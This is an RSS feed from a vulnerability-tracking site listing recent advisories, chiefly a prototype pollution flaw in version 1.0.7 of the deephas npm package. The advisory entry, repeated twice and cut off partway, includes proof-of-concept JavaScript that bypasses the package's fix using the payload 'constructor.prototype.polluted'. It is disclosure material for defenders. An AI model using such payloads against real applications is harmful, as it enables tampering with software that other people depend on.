<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Mon, 12 Oct 2026 18:25:04 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-267055</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-267055</link>
      <description>EUVD-2026-267055</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-267055</guid>
    </item>
    <item>
      <title>fkie_cve-2026-25047</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2026-25047</link>
      <description>&lt;p&gt;deepHas provides a test for the existence of a nested object key and optionally returns that key. A prototype pollution vulnerability exists in version 1.0.7 of the deephas npm package that allows an attacker to modify global object behavior. This issue was fixed in version 1.0.8.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;deepHas provides a test for the existence of a nested object key and optionally returns that key. A prototype pollution vulnerability exists in version 1.0.7 of the deephas npm package that allows an attacker to modify global object behavior. This issue was fixed in version 1.0.8.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2026-25047</guid>
    </item>
    <item>
      <title>GHSA-2733-6c58-pf27 — deepHas vulnerable to Prototype Pollution via constructor.prototype</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-2733-6c58-pf27</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: deephas&lt;/p&gt;
&lt;p&gt;### Summary
A prototype pollution vulnerability exists in version 1.0.7 of the deephas npm package that allows an attacker to modify global object behavior. This issue was fixed in version 1.0.8.&lt;/p&gt;
&lt;p&gt;### Details
The vulnerability resides in the `add()` function and `indexer()` function implemented within `deepHas.js`. Although version 1.0.7 attempts to prevent prototype pollution by checking property ownership (e.g., using Object.hasOwnProperty) and by checking against forbidden string usage (using String.prototype.indexOf), this check can be bypassed as shown in the PoC&lt;/p&gt;
&lt;p&gt;By doing so, an attacker can inject properties into Object.prototype through a payload such as constructor.prototype.polluted or __proto__.polluted resulting in prototype pollution.&lt;/p&gt;
&lt;p&gt;This issue affects all JavaScript runtimes that rely on npm packages (including Node.js, Deno, and Bun) and is independent of the operating system.&lt;/p&gt;
&lt;p&gt;### PoC
#### Steps to reproduce
1. Install version 1.0.7 of `deephas` using npm install
2. Run one of the following code snippets:&lt;/p&gt;
&lt;p&gt;```javascript
//PoC 1
Object.prototype.hasOwnProperty = () =&amp;gt; true;
console.log({}.polluted);
const dh = require(&amp;#39;deephas&amp;#39;);
let obj = {};
dh.set(obj, &amp;#39;constructor.prototype.polluted&amp;#39;, &amp;#39;yes&amp;#39;);
console.log(&amp;#39;{ &amp;#39; + obj.polluted + &amp;#39;, &amp;#39; + &amp;#39;yes&amp;#39; + &amp;#39; }&amp;#39;); // prints yes =&amp;gt; the patch is bypassed and prototype pollution occurred
```
OR&lt;/p&gt;
&lt;p&gt;```javascript
//PoC 2
String.prototype.indexOf = () =&amp;gt; -1;
console.log({}.polluted);
const dh = require(&amp;#39;deephas&amp;#39;);
let obj = {};…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: deephas&lt;/p&gt;
&lt;p&gt;### Summary
A prototype pollution vulnerability exists in version 1.0.7 of the deephas npm package that allows an attacker to modify global object behavior. This issue was fixed in version 1.0.8.&lt;/p&gt;
&lt;p&gt;### Details
The vulnerability resides in the `add()` function and `indexer()` function implemented within `deepHas.js`. Although version 1.0.7 attempts to prevent prototype pollution by checking property ownership (e.g., using Object.hasOwnProperty) and by checking against forbidden string usage (using String.prototype.indexOf), this check can be bypassed as shown in the PoC&lt;/p&gt;
&lt;p&gt;By doing so, an attacker can inject properties into Object.prototype through a payload such as constructor.prototype.polluted or __proto__.polluted resulting in prototype pollution.&lt;/p&gt;
&lt;p&gt;This issue affects all JavaScript runtimes that rely on npm packages (including Node.js, Deno, and Bun) and is independent of the operating system.&lt;/p&gt;
&lt;p&gt;### PoC
#### Steps to reproduce
1. Install version 1.0.7 of `deephas` using npm install
2. Run one of the following code snippets:&lt;/p&gt;
&lt;p&gt;```javascript
//PoC 1
Object.prototype.hasOwnProperty = () =&amp;gt; true;
console.log({}.polluted);
const dh = require(&amp;#39;deephas&amp;#39;);
let obj = {};
dh.set(obj, &amp;#39;constructor.prototype.polluted&amp;#39;, &amp;#39;yes&amp;#39;);
console.log(&amp;#39;{ &amp;#39; + obj.polluted + &amp;#39;, &amp;#39; + &amp;#39;yes&amp;#39; + &amp;#39; }&amp;#39;); // prints yes =&amp;gt; the patch is bypassed and prototype pollution occurred
```
OR&lt;/p&gt;
&lt;p&gt;```javascript
//PoC 2
String.prototype.indexOf = () =&amp;gt; -1;
console.log({}.polluted);
const dh = require(&amp;#39;deephas&amp;#39;);
let obj = {};…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-2733-6c58-pf27</guid>
    </item>
  </channel>
</rss>
